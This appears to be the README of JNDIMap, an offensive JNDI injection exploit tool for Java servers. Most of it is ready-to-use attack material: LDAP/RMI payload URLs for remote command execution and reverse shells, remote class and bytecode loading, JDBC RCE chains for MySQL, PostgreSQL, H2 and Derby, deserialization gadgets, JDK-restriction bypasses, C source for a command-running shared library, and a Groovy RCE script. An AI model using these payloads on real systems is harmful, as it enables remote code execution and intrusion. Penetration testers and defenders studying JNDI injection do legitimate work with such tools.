JNDIMap is a JNDI injection exploit tool that supports RMI, LDAP and LDAPS protocols, including a variety of methods to bypass higher-version JDK
Features
- DNS Log
- execute command
- native reverse shell (Windows supported)
- load custom class bytecode
- Tomcat/Groovy/SnakeYaml bypass
- Commons DBCP/Tomcat DBCP/Tomcat JDBC/Alibaba Druid/HikariCP JDBC RCE
- NativeLibLoader (load native library)
- MLet (detect classes in classpath)
- LDAP(s) deserialization
- custom JNDI payload (based on Groovy Language)
There are no releases yet, so you need to build it manually. (JDK 8)
git clone https://github.com/X1r0z/JNDIMap
cd JNDIMap
mvn package -Dmaven.test.skip=true
Usage: java -jar JNDIMap.jar [-i <ip>] [-r <rmiPort>] [-l <ldapPort>] [-s <ldapsPort>] [-p <httpPort>] [-j <jksPath>] [-k <jksPin>] [-u <url>] [-f <file>] [-useReferenceOnly] [-h]
-i
: IP address to listen on (i.e. the codebase, must be specified as an IP that can be reached by the target, e.g. 192.168.1.100
, note that 0.0.0.0
is not available)
-r
: RMI server listening port, default is 1099
-l
: LDAP server listening port, default is 1389
-s
: LDAPS server listening port, default is 1636
-p
: HTTP server listening port, default is 3456
-j
: path to the JKS file, used to configure the LDAPS server
-k
: JKS password, no password if not specified
-u
: specify the JNDI route manually, e.g. /Basic/Command/open -a Calculator
(The JNDI URL is not completely controllable in some cases)
-f
: path to the Groovy script, used to write custom JNDI payloads
-useReferenceOnly
: only applicable to LDAP protocol, directly returns Reference object through LDAP related parameters, used to bypass com.sun.jndi.ldap.object.trustSerialData
-h
: show usage
Please note that all the Base64 passed in is Base64 URL encoded, i.e. replace +
and /
with -
and _
Most parameters support automatic Base64 URL decoding, that is, you can directly pass in plain text (command/IP/port/URL) or Base64 URL encoded content (some routes only accept Base64 URL encoded parameters, which will be specially noted below)
The following routes support RMI, LDAP and LDAPS protocols except /Deserialize/*
(LDAP(s) deserialization)
For the RMI protocol, simply replace ldap://127.0.0.1:1389/
with rmi://127.0.0.1:1099/
in the payload url
For the LDAPS protocol, simply replace ldap://127.0.0.1:1389/
with ldaps://127.0.0.1:1636/
in the payload url
Directly load remote classes via JNDI Reference
The Java version must be less than 8u121 (RMI protocol) or 8u191 (LDAP protocol)
# DNS request
ldap://127.0.0.1:1389/Basic/DNSLog/xxx.dnslog.cn
ldap://127.0.0.1:1389/Basic/DNSLog/eHh4LmRuc2xvZy5jbg==
# execute command
ldap://127.0.0.1:1389/Basic/Command/open -a Calculator
ldap://127.0.0.1:1389/Basic/Command/b3BlbiAtYSBDYWxjdWxhdG9y
# load custom class bytecode
# load via URL parameters
ldap://127.0.0.1:1389/Basic/FromUrl/<base64-url-encoded-java-bytecode>
# load from the server running JNDIMap
ldap://127.0.0.1:1389/Basic/FromFile/Evil.class # the path is relative to the current directory
ldap://127.0.0.1:1389/Basic/FromFile/<base64-url-encoded-path-to-evil-class-file>
# native reverse shell (Windows supported)
ldap://127.0.0.1:1389/Basic/ReverseShell/127.0.0.1/4444
ldap://127.0.0.1:1389/Basic/ReverseShell/MTI3LjAuMC4x/NDQ0NA==
Use the following methods to bypass higher-version JDK restrictions, support all Basic features
- Tomcat ELProcessor
- Groovy ClassLoader/Shell
- SnakeYaml
All of the above methods rely on BeanFactory, so the Tomcat version must be less than 8.5.79
# Tomcat Bypass
ldap://127.0.0.1:1389/TomcatBypass/Command/open -a Calculator
# Groovy Bypass
ldap://127.0.0.1:1389/GroovyClassLoader/Command/open -a Calculator
ldap://127.0.0.1:1389/GroovyShell/Command/open -a Calculator
# SnakeYaml Bypass
ldap://127.0.0.1:1389/SnakeYaml/Command/open -a Calculator
Detect classes in classpath via MLet
If the class com.example.TestClass
exists, the HTTP server will receive a /com/example/TestClass_exists.class
request
ldap://127.0.0.1:1389/MLet/com.example.TestClass
Load native library on the target server via NativeLibLoader
You need to write a dll/so/dylib to the target machine in advance by other methods (e.g. file upload)
Please note that the path passed in is an absolute path and cannot contain the file extension
For example: if /tmp/evil.so
exists on the server, the path is /tmp/evil
ldap://127.0.0.1:1389/NativeLibLoader/<base64-url-encoded-path-to-native-library>
source code of the native library, written in C
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void){
system("open -a Calculator");
}
compile
# macOS
gcc -shared -fPIC exp.c -o exp.dylib
# Linux
gcc -shared -fPIC exp.c -o exp.so
Support JDBC RCE for the following database connection pools
- Commons DBCP
- Tomcat DBCP
- Tomcat JDBC
- Alibaba Druid
- HikariCP
Replace Factory in the URL with one of CommonsDBCP1/CommonsDBCP2/TomcatDBCP1/TomcatDBCP2/TomcatJDBC/Druid/HikariCP
MySQL JDBC Deserialization
# detectCustomCollations (5.1.19-5.1.48, 6.0.2-6.0.6)
ldap://127.0.0.1:1389/Factory/MySQL/Deserialize1/127.0.0.1/3306/root
# ServerStatusDiffInterceptor
# 5.1.11-5.1.48
ldap://127.0.0.1:1389/Factory/MySQL/Deserialize2/127.0.0.1/3306/root
# 6.0.2-6.0.6
ldap://127.0.0.1:1389/Factory/MySQL/Deserialize3/127.0.0.1/3306/root
# 8.0.7-8.0.19
ldap://127.0.0.1:1389/Factory/MySQL/Deserialize4/127.0.0.1/3306/root
JDBC URL (for reference)
# detectCustomCollations (5.1.19-5.1.48, 6.0.2-6.0.6)
jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=123
# ServerStatusDiffInterceptor
# 5.1.11-5.1.48
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=test
# 6.0.2-6.0.6
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=test
# 8.0.7-8.0.19
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=test
MySQL Client Arbitrary File Read
# all versions
ldap://127.0.0.1:1389/Factory/MySQL/FileRead/127.0.0.1/3306/root
JDBC URL (for reference)
# all versions
jdbc:mysql://127.0.0.1:3306/test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/&maxAllowedPacket=655360
The above two methods require a malicious MySQL server to be used
https://github.com/4ra1n/mysql-fake-server
https://github.com/rmb122/rogue_mysql_server
https://github.com/fnmsd/MySQL_Fake_Server
Instantiate ClassPathXmlApplicationContext via the socketFactory and socketFactoryArg parameters of the PostgreSQL JDBC URL to achieve RCE
ldap://127.0.0.1:1389/Factory/PostgreSQL/Command/open -a Calculator
Execute SQL statements via the INIT parameter of the H2 JDBC URL, support command execution and native reverse shell
Support three methods: CREATE ALIAS + Java/Groovy, CREATE TRIGGER + JavaScript
# command execution
ldap://127.0.0.1:1389/Factory/H2/Java/Command/open -a Calculator
ldap://127.0.0.1:1389/Factory/H2/Groovy/Command/open -a Calculator
ldap://127.0.0.1:1389/Factory/H2/JavaScript/Command/open -a Calculator
# native reverse shell (not support Groovy yet)
ldap://127.0.0.1:1389/Factory/H2/Java/ReverseShell/127.0.0.1/4444
ldap://127.0.0.1:1389/Factory/H2/JavaScript/ReverseShell/127.0.0.1/4444
Derby SQL RCE
Support executing commands and native reverse shell
# 1. load remote jar and create procedures (will automatically create the database)
ldap://127.0.0.1:1389/Factory/Derby/Install/<database>
# 2. execute command/native reverse shell
ldap://127.0.0.1:1389/Factory/Derby/Command/<database>/open -a Calculator
ldap://127.0.0.1:1389/Factory/Derby/ReverseShell/<database>/ReverseShell/127.0.0.1/4444
# 3. drop the database to release memory
ldap://127.0.0.1:1389/Factory/Derby/Drop/<database>
Please note that the connectionInitSql/initSQL parameter of HikariCP/TomcatJDBC does not support executing multiple SQL statements at once, so the Install process above needs to be written separately, taking HikariCP as an example
# 1. load remote jar (will automatically create the database)
ldap://127.0.0.1:1389/HikariCP/Derby/InstallJar/<database>
# 2. add the jar to the classpath
ldap://127.0.0.1:1389/HikariCP/Derby/AddClassPath/<database>
# 3. create a procedure to execute commands
ldap://127.0.0.1:1389/HikariCP/Derby/CreateCmdProc/<database>
# 4. create a procedure to execute native reverse shell
ldap://127.0.0.1:1389/HikariCP/Derby/CreateRevProc/<database>
# subsequent JNDI URL is the same as above
In order to prevent malicious jars from landing, JNDIMap chooses to use the jdbc:derby:memory:<database>
form of JDBC URL to create the database in memory
Therefore, it is best not to execute the Install/InstallJar route multiple times, and remember to Drop the database to release memory
Derby Master-Slave Replication Deserialization RCE
Although JNDI itself supports deserialization, it is not very meaningful, and may be useful in some extreme scenarios (e.g. filtering the LDAP protocol and only supporting RMI)
# 1. create an in-memory database
ldap://127.0.0.1:1389/Factory/Derby/Create/<database>
# 2. start the malicious Derby Server quickly using JNDIMap
java -cp JNDIMap.jar map.jndi.server.DerbyServer -g "/CommonsCollectionsK1/Command/open -a Calculator"
# 3. specify Slave information, database is the name of the database created above
ldap://127.0.0.1:1389/Factory/Derby/Slave/<ip>/<port>/<database>
Start the built-in malicious Derby Server
Usage: java -cp JNDIMap.jar map.jndi.server.DerbyServer [-p <port>] [-g <gadget>] [-f <file>] [-h]
-p
: Derby Server listening port, default is 4851
-g
: specify gadget, e.g. /CommonsCollectionsK1/Command/open -a Calculator
(i.e. /Deserialize/*
series routes)
-f
: specify custom serialization data file
-h
: show usage
Supports Java deserialization via LDAP(s) protocol (RMI protocol is not supported)
JNDIMap has built-in the following gadgets, and also supports custom data deserialization
- CommonsCollections K1-K4
- CommonsBeanutils (1.8.3 + 1.9.4)
- Fastjson (1.2.x + 2.0.x)
- Jackson
# custom data deserialization
# load via URL parameters
ldap://127.0.0.1:1389/Deserialize/FromUrl/<base64-url-encoded-serialized-data>
# load from the server running JNDIMap
ldap://127.0.0.1:1389/Deserialize/FromFile/payload.ser # the path is relative to the current directory
ldap://127.0.0.1:1389/Deserialize/FromFile/<base64-url-encoded-path-to-serialized-data>
# CommonsCollectionsK1 deserialization (3.1 + TemplatesImpl), supports command execution and native reverse shell
ldap://127.0.0.1:1389/Deserialize/CommonsCollectionsK1/Command/open -a Calculator
ldap://127.0.0.1:1389/Deserialize/CommonsCollectionsK1/ReverseShell/127.0.0.1/4444
# CommonsCollectionsK2 deserialization (4.0 + TemplatesImpl), same as above
ldap://127.0.0.1:1389/Deserialize/CommonsCollectionsK2/Command/open -a Calculator
# CommonsCollectionsK3 deserialization (3.1 + Runtime.exec), only supports command execution
ldap://127.0.0.1:1389/Deserialize/CommonsCollectionsK3/Command/open -a Calculator
# CommonsCollectionsK4 deserialization (4.0 + Runtime.exec), same as above
ldap://127.0.0.1:1389/Deserialize/CommonsCollectionsK4/Command/open -a Calculator
# CommonsBeanutils deserialization
# No need for commons-collections dependency, use TemplatesImpl, support command execution and native reverse shell
# According to the different serialVersionUID of BeanComparator, it is divided into two versions: 1.8.3 and 1.9.4
# 1.8.3
ldap://127.0.0.1:1389/Deserialize/CommonsBeanutils183/Command/open -a Calculator
ldap://127.0.0.1:1389/Deserialize/CommonsBeanutils183/ReverseShell/127.0.0.1/4444
# 1.9.4
ldap://127.0.0.1:1389/Deserialize/CommonsBeanutils194/Command/open -a Calculator
ldap://127.0.0.1:1389/Deserialize/CommonsBeanutils194/ReverseShell/127.0.0.1/4444
# Jackson native deserialization
# Use JdkDynamicAopProxy to optimize instability issues, need spring-aop dependency
ldap://127.0.0.1:1389/Deserialize/Jackson/Command/open -a Calculator
ldap://127.0.0.1:1389/Deserialize/Jackson/ReverseShell/127.0.0.1/4444
# Fastjson native deserialization
# Fastjson1: all versions (1.2.x)
ldap://127.0.0.1:1389/Deserialize/Fastjson1/Command/open -a Calculator
ldap://127.0.0.1:1389/Deserialize/Fastjson1/ReverseShell/127.0.0.1/4444
# Fastjson2: <= 2.0.26
ldap://127.0.0.1:1389/Deserialize/Fastjson2/Command/open -a Calculator
ldap://127.0.0.1:1389/Deserialize/Fastjson2/ReverseShell/127.0.0.1/4444
JNDIMap supports writing custom JNDI payload scripts with Groovy language
Groovy script (using H2 RCE as an example)
import javax.naming.Reference
import javax.naming.StringRefAddr
def list = []
list << "CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd)\\;return \"test\"\\;}'"
list << "CALL EXEC('$args')" // parameters are passed in through the args variable
def url = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=${list.join('\\;')}\\;"
def ref = new Reference("javax.sql.DataSource", "com.zaxxer.hikari.HikariJNDIFactory", null)
ref.add(new StringRefAddr("driverClassName", "org.h2.Driver"))
ref.add(new StringRefAddr("jdbcUrl", url))
return ref // return Reference object
Start JNDIMap
java -jar JNDIMap.jar -f /path/to/evil.groovy
Achieve RCE via the following JNDI URL
# supports passing parameters to Groovy scripts manually
ldap://127.0.0.1:1389/Script/<args>
In some cases, the JNDI URL is not completely controllable, so you can specify the -u
parameter
java -jar JNDIMap.jar -f /path/to/evil.groovy -u "/Script/open -a Calculator"
Then trigger via any JNDI URL
ldap://127.0.0.1:1389/x
For JNDI injection of the LDAP(s) protocol, if you want to use ObjectFactory to bypass it, the existing methods are to set the javaSerializedData attribute returned by the LDAP protocol to the serialized data of the Reference object
However, since JDK 21, the com.sun.jndi.ldap.object.trustSerialData
parameter defaults to false, which means that deserialization cannot be triggered through the LDAP protocol, and the Reference object cannot be parsed through the above method
But we can still set the relevant LDAP parameters so that the server directly returns the Reference object. Because this process does not involve deserialization, it bypasses the restrictions of the trustSerialData parameter
The specific implementation is as follows
public void processSearchResult(InMemoryInterceptedSearchResult searchResult) {
// ......
Reference ref = (Reference) result;
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaClassName", ref.getClassName());
e.addAttribute("javaFactory", ref.getFactoryClassName());
Enumeration<RefAddr> enumeration = ref.getAll();
int posn = 0;
while (enumeration.hasMoreElements()) {
StringRefAddr addr = (StringRefAddr) enumeration.nextElement();
e.addAttribute("javaReferenceAddress", "#" + posn + "#" + addr.getType() + "#" + addr.getContent());
posn ++;
}
// ......
}
Just specify the -useReferenceOnly
parameter when using it
java -jar JNDIMap.jar -useReferenceOnly
https://tttang.com/archive/1405/
https://paper.seebug.org/1832/
http://www.lvyyevd.cn/archives/derby-shu-ju-ku-ru-he-shi-xian-rce
https://y4tacker.github.io/2023/03/20/year/2023/3/FastJson 与原生反序列化/
https://y4tacker.github.io/2023/04/26/year/2023/4/FastJson 与原生反序列化-二/
https://www.yulegeyu.com/2022/11/12/Java 安全攻防之老版本 Fastjson 的一些不出网利用/
https://www.leavesongs.com/PENETRATION/use-tls-proxy-to-exploit-ldaps.html